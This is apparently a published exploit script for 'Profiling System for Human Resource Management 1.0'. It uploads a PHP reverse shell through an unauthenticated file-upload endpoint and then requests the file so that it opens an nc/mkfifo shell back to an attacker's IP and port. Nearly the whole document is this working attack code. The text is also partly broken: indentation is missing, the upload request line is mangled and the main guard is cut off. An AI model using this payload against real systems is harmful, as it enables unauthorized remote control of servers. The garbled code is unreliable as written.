# Exploit Title: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)  
# Date: 19-03-2021  
# Exploit Author: Christian Vierschilling  
# Vendor Homepage:  
# Software Link:  
# Software Download:  
# Version: 1.0  
# Tested on: PHP 7.4.14, Linux x64_x86  
# --- Description --- #  
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.  
# --- Proof of concept --- #  
import random  
import sys  
import requests  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
def file_upload(target_ip, attacker_ip, attacker_port):  
random_number = str(random.randint(100000000,999999999))  
file_name = random_number + "shell.php"  
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)  
m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')})  
print("(+) Uploading php reverse shell file ..")  
r1 ='http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})  
if not "Sorry, there was an error uploading your file." in r1.text:  
print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name))  
return file_name  
print("(-) Oh noes, error occured while uploading the file.. quitting!")  
def trigger_shell(target_ip, target_file_name):  
url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name)  
print("(+) Now trying to trigger our shell..")  
r2 = requests.get(url)  
if r2.status_code != 200:  
print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!")  
return None  
def main():  
if len(sys.argv) != 4:  
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])  
print('(+) eg: %s 4444' % sys.argv[0])  
print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---")  
target_ip = sys.argv[1]  
attacker_ip = sys.argv[2]  
attacker_port = sys.argv[3]  
target_file_name = file_upload(target_ip, attacker_ip, attacker_port)  
trigger_shell(target_ip, target_file_name)  
print("(+) done!")  
if __name__ == "__main__":